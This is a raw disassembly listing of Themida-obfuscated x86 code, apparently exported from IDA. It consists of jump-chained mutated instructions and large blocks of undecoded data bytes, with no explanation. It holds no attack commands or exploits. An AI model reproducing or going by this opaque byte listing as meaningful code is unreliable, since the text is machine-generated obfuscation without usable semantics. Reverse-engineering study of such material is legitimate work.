add bl, ah mov ax, [esp] add esp, 2 add bl, 0E4h movzx eax, al pop dword ptr [edi+eax*4] jmp loc_535363 ; --------------------------------------------------------------------------- dw 0C201h dd 689FC281h, 0C2813A53h, 134C397Bh, 582434FFh, 4C481h dd 0C2810000h, 4, 31241433h, 14332414h, 68535C24h, 6994h dd 55242489h, 4BDh, 246C0100h, 685B5D04h, 7985h, 1A4E9h dd 5BD98800h, 0FFE4A2E9h, 0B181E9FFh db 2 dup(0FFh) word_53A1E2 dw 34FFh ; DATA XREF: Themida_:005351BCo dd 0E9535A24h, 1863h ; --------------------------------------------------------------------------- loc_53A1EC: ; CODE XREF: Themida_:005360E9j sub dl, 0D8h jmp loc_53AFA3 ; --------------------------------------------------------------------------- dd 231A8EBAh, 5DD3E963h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A1FE: ; CODE XREF: Themida_:0053F107j add eax, 20267A1Fh jmp loc_5412F7 ; --------------------------------------------------------------------------- dd 662CD828h, 110DE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A212: ; CODE XREF: Themida_:00537A54j push ecx push esp pop ecx jmp loc_53AFC9 ; --------------------------------------------------------------------------- dw 0C72Dh dd 0E92F3716h, 0FFFFE9A7h, 21E5815Ah, 81128A6Eh, 55C788C5h dd 5224E94Bh, 5E520000h, 8BF2895Ah, 89522434h, 4C281E2h dd 81000000h, 4C2h, 24148700h, 0BB5E9h, 240C8900h, 12377BB9h dd 59CA893Ch, 0F1E918B9h, 5AD101F9h, 69D0E956h, 27B80000h dd 29AA3B17h, 0EE8958C5h, 0FFF0015Dh, 835E2434h, 0E95604C4h dd 736Dh, 0E9D2F742h, 3B78h ; --------------------------------------------------------------------------- loc_53A290: ; CODE XREF: Themida_:00537A7Fj push ax jmp loc_53C39D ; --------------------------------------------------------------------------- loc_53A297: ; CODE XREF: Themida_:00535985j xor [esp+4], eax pop eax jmp loc_53CCC3 ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch aHep db '$h¥P',0 align 2 dw 0C89h dd 0B2686624h, 1C89660Bh, 507FB724h, 0FFC42AE9h, 776851FFh dd 89000062h, 4832424h, 81590424h, 4C1h, 4BA5200h, 1000000h dd 24148BD1h, 0E904C483h, 71FEh, 84E9E801h, 81000072h dd 0B82FC0F6h, 0E51FE91Ch, 8193FFFFh, 3BEEFFC3h, 8BDA01DFh dd 0C481241Ch, 4, 2474FF52h, 48F5A04h, 0E099E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A316: ; CODE XREF: Themida_:0053BA72j add ebp, 4 xchg ebp, [esp] jmp loc_53C0F6 ; --------------------------------------------------------------------------- dd 0B6BEE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A32A: ; CODE XREF: Themida_:0053FA89j mov esi, [esp] add esp, 4 shr ecx, 2 push 23BAh mov [esp], ebx mov eax, [esp] push ecx jmp loc_536A3A ; --------------------------------------------------------------------------- dd 0C119EA81h, 0D6290CA4h, 8124148Bh, 4C4h, 75746800h dd 2C890000h, 53685724h, 5F64A607h, 0EF81DFF7h, 5EC6212h dd 0F781DFF7h, 7B47602Ah, 0FFFC0AE9h, 243489FFh, 0FFF6DEE9h dd 242C89FFh, 0BEE9E589h, 58000038h, 0EB81FB01h, 7F1608F8h dd 2DEFC381h, 3034A89h, 5B2434FFh, 122E9h, 5FECBB00h, 0E0E921E5h dd 66FFFFC8h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 2 xchg ebp, [esp] mov esp, [esp] pop ecx sub esp, 2 mov [esp], ax jmp loc_53D6F7 ; --------------------------------------------------------------------------- dw 0EA88h dd 148BD388h, 4C48124h, 59000000h, 8B66D820h, 0D7E9241Ch db 5, 2 dup(0) ; --------------------------------------------------------------------------- loc_53A3EB: ; CODE XREF: Themida_:0053CBABj sub esp, 4 mov [esp], ebp jmp loc_53B89A ; --------------------------------------------------------------------------- dw 0C89h dd 0FEB924h, 4F210000h, 2434FF1Ch, 0E9240C8Bh, 0FFFFD683h dd 0D508B405h, 8BC22930h, 0C4812404h, 4, 99E9D001h, 57FFFFFAh dd 4BFh, 0D57E900h db 2 dup(0) word_53A42E dw 8B66h ; DATA XREF: Themida_:00535298o dd 0EC81240Ch, 4, 89241489h, 0E0B850E2h, 0D125F636h, 4E0C1E0h dd 0C6DBFC2Dh, 99C281BEh, 156C778h, 99EA81C2h, 5856C778h dd 0E904EC83h, 697Bh, 42474FFh, 24048F5Dh, 6624248Bh, 0E9240489h dd 0FFFFAEEBh, 38B26866h, 240C8966h, 0FFB0D9E9h, 3C335BFFh dd 243C3124h, 5C243C33h, 4EC81h, 0C890000h, 5D92B924h dd 0C1817C99h, 8C4EC5E2h, 0FFEB9AE9h, 0BA5251FFh, 7C9A754Ah dd 0B11A2868h, 0B260E90Ch, 8758FFFFh, 248B243Ch, 0C9E95624h dd 8300001Ch, 86E904C4h, 81FFFFEFh, 4ECh, 242C8900h, 0C581E589h dd 4, 4BB53h, 0DD290000h, 242C875Bh, 0D1BEE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A4F2: ; CODE XREF: Themida_:00538415j add esp, 4 jmp loc_536376 ; --------------------------------------------------------------------------- loc_53A4FD: ; CODE XREF: Themida_:0053B755j xor ebx, ebp mov ebp, [esp] add esp, 4 jmp loc_53FA16 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 778AC281h, 0EA814E47h, 11BA520Ch, 0E6E9FA29h, 6800000Ah dd 1549h, 68241489h, 3FC23743h, 15F7E9h, 81E58900h, 4C5h dd 2BA5200h, 0E9000000h, 6E30h, 0E924048Bh, 2E31h, 0CC2DEB81h dd 0D8012012h, 8B2434FFh, 0EC81241Ch, 4, 0E9241489h, 0FFFFE476h db 61h, 0C3h word_53A56E dw 34FFh ; DATA XREF: Themida_:00535080o dd 240C8B24h, 4C481h, 54530000h, 83241C8Bh, 0BD5504C4h dd 4EA93FF3h, 8102EDC1h, 0AA4FF8F5h, 0D9C38113h, 0E947D76Ah dd 2764h ; --------------------------------------------------------------------------- loc_53A59C: ; CODE XREF: Themida_:00537353j or edx, eax shl edx, 1 sub esp, 4 jmp loc_53FE2F ; --------------------------------------------------------------------------- dd 5B188859h, 0FFD5A7E9h, 4EC81FFh, 0E9000000h, 27D4h dd 0BF575854h, 6B97108Dh, 8102E7C1h, 94650AF7h, 6959E979h dd 0DFF70000h, 8D35C781h, 0FD01EB48h, 2C5835Fh, 8B242C87h dd 0F662424h, 5166C8AFh, 0AD71E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A5F2: ; CODE XREF: Themida_:005399D9j push ebx mov ebx, 1 and eax, ebx jmp loc_53EF05 ; --------------------------------------------------------------------------- db 0C1h dd 0BA5204EDh, 556A270Ch, 5757F281h, 0EAC1652Dh, 0F2814A04h dd 360602Fh, 3D7EA81h, 0D501C976h, 50C5815Ah, 0E939E33Fh dd 3D14h, 0CBBD5543h, 810B6371h, 0F26AC1CDh, 4786E905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A63E: ; CODE XREF: Themida_:0053C499j shr eax, 18h xor eax, ecx jmp loc_53C8CA ; --------------------------------------------------------------------------- dd 6624248Bh, 6866E9F7h, 89663582h, 50662414h, 0AD05E99Ch dd 0BE56FFFFh, 4, 140BB52Dh, 0E9F00161h, 0B5Fh ; --------------------------------------------------------------------------- loc_53A670: ; CODE XREF: Themida_:0053C2B2j add esp, 4 push ecx mov ecx, 5AC2BA8h or ecx, 41ED68EAh jmp loc_536A65 ; --------------------------------------------------------------------------- loc_53A687: ; CODE XREF: Themida_:0053D573j xor ebx, 388432F0h xor ebx, 3F7C32C6h add edi, ebx pop ebx push edx mov edx, 4 jmp loc_54100C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 7073E9h, 244C0100h, 815B5904h, 4C3h, 4C38100h, 33000000h dd 1C31241Ch, 241C3324h, 0E924248Bh, 0FFFFAC97h, 2424895Ch dd 4319E9h, 815F5400h, 4C7h, 4EF8300h, 31243C33h, 3C33243Ch dd 24248B24h, 4B16E9h, 24048F00h, 0D224248Bh, 0E99C243Ch dd 2D74h dword_53A700 dd 9C241CF7h, 0FFAC5AE9h ; DATA XREF: Themida_:005351A8o db 0FFh ; --------------------------------------------------------------------------- loc_53A709: ; CODE XREF: Themida_:0053E945j pop esp add esp, 4 loc_53A70D: ; CODE XREF: Themida_:0053E178j ; Themida_:loc_53FB18j mov ebx, [esp] jmp loc_53661E ; --------------------------------------------------------------------------- dd offset dword_4E384C+61Ch align 2 dw 0C89h dd 7CBB5324h, 0C12A5F7Bh, 0CB8102E3h, 239E2EB9h, 0FFB9C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_53A731: ; CODE XREF: Themida_:0053AD72j pop eax add edi, 4 jmp loc_53727B ; --------------------------------------------------------------------------- db 50h, 88h, 0D4h dd 0E958E788h, 0FFFFF78Dh, 0C781DFF7h, 18A32777h, 1178EF81h dd 0DCE92AC2h db 1Ch, 2 dup(0) byte_53A75B db 64h ; DATA XREF: Themida_:005352DCo dd 66028B66h, 662D0B68h, 0E9240489h, 0FFFFABF7h ; --------------------------------------------------------------------------- loc_53A76C: ; CODE XREF: Themida_:0053CB45j mov edx, 706701ECh xor ecx, edx jmp loc_536812 ; --------------------------------------------------------------------------- dd 0B951E789h, 5D161E14h, 1966E181h, 13E9310Bh, 68FFFFE3h dd 2A6Fh, 24048F54h, 4BA52h, 0D5E90000h, 0F7000060h, 0E9D6F7D6h dd 2C4Ah, 73C1815Dh, 29723A83h, 0E207E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A7B6: ; CODE XREF: Themida_:00538B31j push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_53D18B ; --------------------------------------------------------------------------- loc_53A7C4: ; CODE XREF: Themida_:0053E8AEj xor dword ptr [esp], 206B490Ah mov ecx, [esp] add esp, 4 push edx mov edx, 619648A3h sub edx, 35BC63EBh jmp loc_53CBB0 ; --------------------------------------------------------------------------- byte_53A7E5 db 8Bh, 4, 24h ; DATA XREF: Themida_:005351C4o dd 6897E9h, 48B5400h, 4C48324h, 405h, 0FE60E900h, 0C581FFFFh dd 76FB35ACh, 0E5D1DDF7h, 2FBC581h, 0EF012780h, 0FFFB895Dh dd 815F2434h, 4C4h, 52565000h, 0FFACB6E9h, 2277B8FFh, 6AE92971h dd 5F00005Bh, 5D2434FFh, 8104C483h, 0D96BA1C5h, 429E686Fh dd 2C890000h, 24048124h, 1B031863h, 0FFD011E9h, 243C89FFh dd 486FC468h, 243C8B76h, 0FFFCACE9h, 0D80059FFh, 53241C8Bh dd 48C7E9h, 4BD0B800h, 0BE563229h, 27F24A47h, 62F6EE81h dd 0DEF70FDAh, 9B85C681h, 0F001E5EEh, 3B91E95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_53A88E: ; CODE XREF: Themida_:0053F7F5j pop esp mov [esp], ebx jmp loc_53CA20 ; --------------------------------------------------------------------------- db 58h dd 0C8BEF88h, 4C48124h, 0E9000000h, 0FFFFEDCDh, 2F4DBD55h dd 0EDD17CE6h, 1FECED81h, 0ED810CCAh, 75777A66h, 7D50F581h dd 0EB01430Dh, 17CAE9h, 0B0BE5600h, 8155C558h, 0A647D3C6h dd 3E6C100h, 0A77BEE81h, 0F3315AC9h, 245C295Eh, 0BD555B04h dd 463C340Dh, 3B42E9h db 0 byte_53A8F1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00535118o dd 4EC8324h, 3C3BE9h, 0BED8100h, 0E9280161h, 179h, 3AD3C781h dd 875B5766h, 248B243Ch, 0C8B6624h, 8AE95124h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53A91F: ; CODE XREF: Themida_:0053809Cj mov [esp], edx sub esp, 4 mov [esp], ebx sub dword ptr [esp], 693B4842h mov edx, [esp] add esp, 4 add edx, 693B4842h mov eax, edx jmp loc_53E27F ; --------------------------------------------------------------------------- db 0BAh, 35h, 14h dd 7EE95CC4h, 66FFFFD9h, 6624048Fh, 66020D68h, 66242C89h dd 0E90002BDh, 679Bh, 8324148Bh, 535504C4h, 5C5493BBh dd 52D3F71Fh, 3B6712BAh, 0E9D3296Ch, 38DBh ; --------------------------------------------------------------------------- loc_53A980: ; CODE XREF: Themida_:0053AF7Fj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_53E61E ; --------------------------------------------------------------------------- word_53A996 dw 8B66h ; DATA XREF: Themida_:005351D0o dd 77E9240Ch, 66000002h, 6866F9F7h, 89665401h, 50662414h dd 0A9B1E99Ch, 489FFFFh, 55585424h, 5B0576BDh, 522FE954h dd 0C4810000h, 2, 0FFFB02E9h, 242C8BFFh, 8104C483h, 6BCD2404h dd 4014971h, 0CDB85024h, 2949716Bh, 0E9042444h, 0FFFFBCD0h dd 1EF4BA52h, 0D0015BD6h, 57E8295Ah, 293AB4BFh, 40C78105h dd 2956ACE4h, 0E95D5FF8h, 0FFFFD1CFh, 2C0835Ch, 4750E9h dd 15C38000h, 8124148Bh, 4C4h, 80C30000h, 0B60F1AC3h, 48F66C0h dd 0A931E987h, 3489FFFFh, 673AE924h db 2 dup(0) word_53AA3A dw 0EC83h ; DATA XREF: Themida_:005350E8o dd 0F9B4E904h, 8151FFFFh, 513A2404h, 815D49F3h, 0F3513AEDh dd 240C8B49h, 4C481h, 0EB010000h, 4C3835Dh, 2474FF53h dd 2434FF04h, 0FFC42EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53AA6D: ; CODE XREF: Themida_:00536712j mov [esp], edi sub esp, 4 mov [esp], ecx push ebp mov ebp, 7E6F41DBh jmp loc_53EC8C ; --------------------------------------------------------------------------- aBQolEbPiQSib db 'ÅqOl',0Bh,'EÅ#·p‰)ï]éib',0 align 2 dw 0C8Bh dd 4C48124h, 81000000h, 4C1h, 4C18300h, 31240C33h, 0C33240Ch dd 24248B24h, 2FD5E955h, 34330000h, 0CD35C24h, 9CE99C24h db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AAC7: ; CODE XREF: Themida_:005353C0j sub edi, 2B0F140Ah add edi, 0FA511F6Dh sub ebx, edi jmp loc_53759D ; --------------------------------------------------------------------------- loc_53AADA: ; CODE XREF: Themida_:00539800j jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 0E9h, 8Ah, 0FAh dd 815DFFFFh, 4C4h, 2552E900h, 0D8280000h, 192C232Ch, 8951D72Ch dd 0E95650E1h, 3F22h, 0E9D8F748h, 22BCh, 8904EC83h, 0B8502424h dd 4, 4244401h, 0E50EE958h, 0E956FFFFh, 0FFFFE3D6h ; --------------------------------------------------------------------------- loc_53AB24: ; CODE XREF: Themida_:0053DA73j add esp, 4 loc_53AB2A: ; CODE XREF: Themida_:loc_53E754j ; Themida_:00541015j push dword ptr [edi+24h] sub esp, 4 mov [esp], edi mov edi, 706701ECh xor [esp+4], edi mov edi, [esp] add esp, 4 push dword ptr [esp] pop ecx push ecx push esp pop ecx add ecx, 4 push edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_53CB44 ; --------------------------------------------------------------------------- byte_53AB6F db 0FFh ; DATA XREF: Themida_:00535310o dd 67E92434h, 53FFFFCCh, 221E62BBh, 0C4E9E943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AB82: ; CODE XREF: Themida_:0053DBB8j push 24D2h mov [esp], ebp push 7FF7B354h push dword ptr [esp] jmp loc_535FBD ; --------------------------------------------------------------------------- db 0F7h aZikcqsX db 'Õ‡ëKCQé¿X',0 dw 5500h dd 17F5ABDh, 3E5C11Eh, 2AE3C581h, 0ECE95147h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_53ABB7: ; CODE XREF: Themida_:00539582j mov esi, 1B4425h jmp loc_53811B ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 2C48124h, 28000000h, 2CE952D0h, 53FFFFCAh, 0EC83E389h dd 24348904h, 4BA52h, 0D6890000h, 0E9F3015Ah, 0FFFFA9F2h dd 8AB55166h, 5966EB30h, 8B66DE28h, 0C481241Ch, 2, 53A6B050h dd 0C780C6B7h, 83C780FFh, 0EF80CFFEh, 4A6DE922h, 0EC830000h dd 243C8904h, 0C781E789h, 4, 615968h, 240C8900h, 2B9h dd 7EFE900h, 0E9500000h, 0E62h ; --------------------------------------------------------------------------- loc_53AC3C: ; CODE XREF: Themida_:00535F63j mov [esp], edi jmp loc_53847B ; --------------------------------------------------------------------------- dd 4EC8355h, 83242489h, 5D042404h, 6BAC6852h, 0F75A38F1h dd 1729E9D2h, 132D0000h, 5F7CF267h, 8E9D029h, 1000044h dd 0EEE3E9C3h, 1487FFFFh, 24248B24h, 840FC009h, 3BC3h dd 1AEE68h, 0CB44E900h, 0E8C1FFFFh, 50C83108h, 81E18951h dd 4C1h, 4E98300h, 5E87E9h db 0 ; --------------------------------------------------------------------------- loc_53ACA1: ; CODE XREF: Themida_:0053FB9Fj pop eax sub al, 0AEh sub al, dh add al, 0AEh mov edx, [esp] add esp, 4 push 133Ch mov [esp], edi jmp loc_538F00 ; --------------------------------------------------------------------------- db 0B9h dd 224B3D80h, 8104E1C1h, 0E504BCE1h, 0F7C9812Ch, 815A210Ah dd 0FFFFFFC1h, 20E981FFh, 811E4179h, 0A06E2CC1h, 59CD019Fh dd 10B3E9h db 0 ; --------------------------------------------------------------------------- loc_53ACE9: ; CODE XREF: Themida_:0053AE69j pop ebp sub esi, edi jmp loc_537146 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0 dd 8911AF61h, 0EB815DEBh, 1, 162EE9h, 242C8B00h, 0FFD795E9h dd 243C33FFh, 959E9h, 81DBF700h, 0CE59E2CBh, 4F00E933h dd 0E5BF0000h, 21406071h, 0DF05E9FAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AD2E: ; CODE XREF: Themida_:0053D67Aj pop ecx jmp loc_5367D4 ; --------------------------------------------------------------------------- dd 0C8684ABDh, 8EDC15Dh, 5B03C581h, 0EB29301Ah, 81C3015Dh dd 78236BC3h, 428CE930h, 14870000h, 0C4815C24h, 4, 1519E952h dd 5A660000h, 0B1E91F04h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AD6B: ; CODE XREF: Themida_:00541704j mov eax, 4 add edi, eax jmp loc_53A731 ; --------------------------------------------------------------------------- db 4 aUzsk db 'žZéŠ$',0 dw 8900h dd 4832424h, 34FF0424h, 0E9555B24h, 1005h ; --------------------------------------------------------------------------- loc_53AD90: ; CODE XREF: Themida_:005373B9j mov ebx, 22C16EF5h sub ebx, 0BA947F16h add eax, ebx pop ebx xor edx, eax jmp loc_536164 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24048B04h, 4C481h, 48F0000h, 0F247E924h, 0DF2CFFFFh dd 0F667B551h, 2EDC0DDh, 2C10ED80h, 28E20467h, 4E22CE8h dd 0F8285967h, 0E9521604h, 5198h ; --------------------------------------------------------------------------- loc_53ADDC: ; CODE XREF: Themida_:00538B46j mov edi, [esp] add esp, 4 add edi, 4 jmp loc_53E1F5 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 5E2414F7h, 0BADEF681h, 1BE9FF57h, 81000052h, 0BA1F24C2h dd 0A768E943h, 248BFFFFh, 0E3C8E924h db 2 dup(0FFh) word_53AE12 dw 2168h ; DATA XREF: Themida_:005352F4o dd 0E9000018h, 0FFFFDE75h, 5F9BF681h, 9DE9118Bh, 68FFFFABh dd 33F3h, 595E9h, 24048F00h, 0FFC74FE9h db 0FFh ; --------------------------------------------------------------------------- loc_53AE39: ; CODE XREF: Themida_:0053FA9Fj mov esi, 5D5E6502h sub ebx, esi jmp loc_53B63A ; --------------------------------------------------------------------------- db 89h, 0E0h, 5 dd 4, 0E904E883h, 64F1h, 6215C281h, 59E9502Bh db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AE5F: ; CODE XREF: Themida_:0054143Bj mov [esp], ebp mov ebp, 0A6233136h add edi, ebp jmp loc_53ACE9 ; --------------------------------------------------------------------------- loc_53AE6E: ; CODE XREF: Themida_:0053BA89j add esp, 4 add al, dh jmp loc_537A7E ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 7C015E00h, 5E5F0424h, 4E4FE9h, 242C8B00h dd 8F04C483h, 248B2404h, 4896624h, 0A4C1E924h, 0C583FFFFh dd 4B41E9FFh, 0C7810000h, 4, 4EF81h, 3C870000h, 8F545C24h dd 4832404h, 0CCE90424h, 8F000042h, 665C2404h, 9C240429h dd 0FFA48EE9h db 0FFh ; --------------------------------------------------------------------------- loc_53AED5: ; CODE XREF: Themida_:0053EFA0j mov [esp], ecx pop eax push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_53C799 ; --------------------------------------------------------------------------- loc_53AEED: ; CODE XREF: Themida_:005394AEj pop ecx push esi jmp loc_5408A8 ; --------------------------------------------------------------------------- loc_53AEF4: ; CODE XREF: Themida_:00540256j pop ecx sub edi, 363711DCh inc edi sub edi, 694951A5h add ecx, edi jmp loc_540633 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 8B24048Fh, 8B662424h, 68562404h, 67F9h, 83242489h, 5E042404h dd 4C681h db 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ecx push edi mov edi, 304D00F8h neg edi and edi, 8F05D70h xor edi, 8B05D02h mov ecx, edi pop edi jmp loc_538B73 ; --------------------------------------------------------------------------- loc_53AF65: ; CODE XREF: Themida_:00538B94j xchg ebp, [esp] pop esp xor ecx, edx pop edx xor edi, ecx pop ecx push edi mov ecx, [esp] add esp, 4 pop edi rep movsd add esp, [edx+38h] jmp loc_53A980 ; --------------------------------------------------------------------------- dd 251BC281h, 0C2811FB2h, 5F8825ECh, 0EA81F201h, 5F8825ECh dd 251BEA81h, 0EFE91FB2h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53AFA3: ; CODE XREF: Themida_:0053A1EFj add al, dl mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx push ebx mov bl, 7Dh mov dh, bl pop ebx jmp loc_53FB61 ; --------------------------------------------------------------------------- dd 0FFA39AE9h db 0FFh ; --------------------------------------------------------------------------- loc_53AFC9: ; CODE XREF: Themida_:0053A215j push ebp mov ebp, 511A3170h add ebp, 0AEE5CE94h jmp loc_54021B ; --------------------------------------------------------------------------- loc_53AFDA: ; CODE XREF: Themida_:00535D66j pop esp sub al, 1Fh jmp loc_53C8FA ; --------------------------------------------------------------------------- dw 0C2BFh dd 81228373h, 0C3545F7h, 5FFE8938h, 29B9C681h, 0FE92116h dd 55FFFFC8h, 0FFFD33E9h, 4EC83FFh, 188DE9h, 0CC28100h dd 8111BA52h, 47778AEAh, 243C8B4Eh, 4C481h, 40E90000h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B023: ; CODE XREF: Themida_:0053ED49j mov [esp], ebp jmp loc_536CAA ; --------------------------------------------------------------------------- db 81h dd 4C6h, 24348700h, 311E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_53B03A: ; CODE XREF: Themida_:0053E775j xor esi, 69C6587Eh add esi, 1B407243h xor esi, 81ACE9B9h add ecx, esi pop esi jmp loc_53FEE1 ; --------------------------------------------------------------------------- dd 0BA52C601h, 553C221Fh, 2BE9D629h, 84FFFFB2h, 0F8E99CC8h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B06B: ; CODE XREF: Themida_:005375A0j add ebx, 1E882CD4h add ebx, 2D725AF3h push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi push ecx mov ecx, 78EF7699h jmp loc_537619 ; --------------------------------------------------------------------------- loc_53B09A: ; CODE XREF: Themida_:0053BABFj add eax, edi jmp loc_54178B ; --------------------------------------------------------------------------- a_s db '[_éÑ#',0 align 4 dd 0E9241487h, 3368h, 0C381E389h, 4, 2EB81h, 1C330000h dd 241C3124h, 0E9241C33h, 28D3h, 0E958E300h, 3ED1h ; --------------------------------------------------------------------------- loc_53B0D4: ; CODE XREF: Themida_:00538512j push edx jmp loc_53CBF0 ; --------------------------------------------------------------------------- dw 0C89h dd 26824h, 0C8B0000h, 4C48124h, 1000000h, 276859C8h, 89000013h dd 0E4E92404h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B0FB: ; CODE XREF: Themida_:0053CFEFj sub edi, 0A71CFAE9h jmp loc_539B27 ; --------------------------------------------------------------------------- word_53B106 dw 6866h ; DATA XREF: Themida_:005352C8o dd 5466192Bh, 0FFF83EE9h, 4C281FFh, 55000000h, 4BDh, 5DEA0100h dd 3933E9h db 0 byte_53B125 db 66h, 8Fh, 2 ; DATA XREF: Themida_:00535114o dd 0FFA236E9h, 81C501FFh, 0EC3E9DEDh, 0C5835830h, 74FF5502h dd 6DE90424h db 0C0h, 2 dup(0FFh) byte_53B143 db 66h ; DATA XREF: Themida_:0053527Co dd 55240C8Bh, 45B5E9h, 3C8B5400h, 4C48124h, 51000000h dd 4B9h, 507BE900h, 0B0500000h, 28A02C61h, 24048BC3h, 4C481h dd 0EB800000h, 80C3289Fh, 0B6529FC3h, 0ACB450EEh, 2CBBE9h dd 5FFA0100h, 4EA81h, 14870000h, 0BBB4E924h db 2 dup(0FFh) word_53B196 dw 8B66h ; DATA XREF: Themida_:00535160o dd 0CCE92404h, 8900002Ah, 53552404h, 1C1E48BBh, 8EBC13Fh dd 33AFE9h, 72BF5700h, 0B976FB31h, 0DE51FFA7h, 0C15FF901h dd 50E904E9h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_53B1C7: ; CODE XREF: Themida_:0053CCEBj push edi mov edi, esp jmp loc_53F69F ; --------------------------------------------------------------------------- db 5 dd 61140BB5h, 8324348Bh, 0FF5004C4h, 8B042474h, 0C4812404h dd 4, 8B24048Fh, 0A30F2424h, 0E99C2404h, 0FFFFA16Bh, 0D761C5BFh dd 85F7817Fh, 4F5FC547h, 274BC781h, 0C7815320h, 0B2E4750h dd 67A4EF81h, 0FE893923h, 0BAEE815Fh, 0C120BA20h, 0BF5703E6h dd 1, 2E04E9h, 2414F700h, 0E92434FFh, 0FFFFCB69h, 0C9535E05h dd 241C8B22h, 57D7E9h, 0B4E95800h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B24B: ; CODE XREF: Themida_:0053651Dj shl esi, 1 shl esi, 3 jmp loc_536987 ; --------------------------------------------------------------------------- db 43h, 81h, 0E3h dd 70702326h, 9300F381h, 0D801859Dh, 2274E9h, 5192BB00h dd 66E974CBh, 8B00000Ah, 2C812424h, 0F871E524h, 24048144h dd 1DA0FE7h, 6405BD55h, 6C012B65h, 3AE90424h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_53B293: ; CODE XREF: Themida_:0054007Dj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 push 71E0h mov [esp], esi mov esi, 4 add edx, esi pop esi jmp loc_538206 ; --------------------------------------------------------------------------- db 0BEh, 0Ch, 2Dh dd 0F789765Ah, 0FFB5DEE9h, 0CE8158FFh, 5CB0027Bh, 0FFAB56E9h dd 545350FFh, 56A7E9h, 0E9CA2900h, 52F5h, 8DE9555Bh, 5E00001Bh dd 5202EDC1h, 3460B850h, 0A5BA74D5h, 1F7020Ah, 24048BC2h dd 0E904C483h, 0FFFFE4E2h, 24048F54h, 4240481h, 8B000000h dd 41E92404h, 8B00005Eh, 9AE92404h, 0B1FFFFDDh, 0C7C3E98Fh dd 0C481FFFFh, 4, 6A8468h, 242C8900h, 0FFA251E9h, 240C8BFFh dd 8004C483h, 9E2C13C6h, 2CE9F028h, 0E9FFFFFAh, 0FFFFA013h ; --------------------------------------------------------------------------- loc_53B350: ; CODE XREF: Themida_:0053F4A1j add esi, edi pop edi add esi, 4 xchg esi, [esp] pop esp or eax, eax jz loc_53BBCA push dword ptr [edi+1Ch] mov ecx, [esp] push 17B8h mov [esp], ecx jmp loc_5381A1 ; --------------------------------------------------------------------------- loc_53B378: ; CODE XREF: Themida_:0053FCBCj add esp, 4 push ebx mov ebx, 20h sub ebx, 38D30E9Bh jmp loc_53D0CD ; --------------------------------------------------------------------------- dd 1C8BDD01h, 1127E924h, 34FF0000h, 0C4835A24h, 2C340404h dd 4E800FBh, 53342CFBh, 0E0E94EB3h, 81000017h, 4EEh, 24348700h dd 8924248Bh, 0EC83242Ch, 0E48DE904h, 2C89FFFFh, 566BE924h dd 3C330000h, 243C3124h, 0FFF934E9h, 0EB835EFFh, 241C8704h dd 8924248Bh, 0F5682414h, 89000068h, 148B2404h, 0E3895324h dd 4C381h, 0EB810000h, 4, 5C241C87h, 54242C89h, 468565Dh dd 5E000000h, 0DEE9F501h, 81FFFFCEh, 736613C1h, 2E9C163h dd 0FFB060E9h, 98BB53FFh, 11F5121h, 0EF815BDFh, 3F2D6365h dd 0E955CF01h, 37BCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, 71BF77B7h jmp loc_5392BA ; --------------------------------------------------------------------------- dd 2709E981h, 0CF8938B3h, 5FF82959h, 0BD55E829h, 622B3A15h dd 41F5F581h, 81452AECh, 4F354AEDh, 0EE6EE911h db 2 dup(0FFh) ; 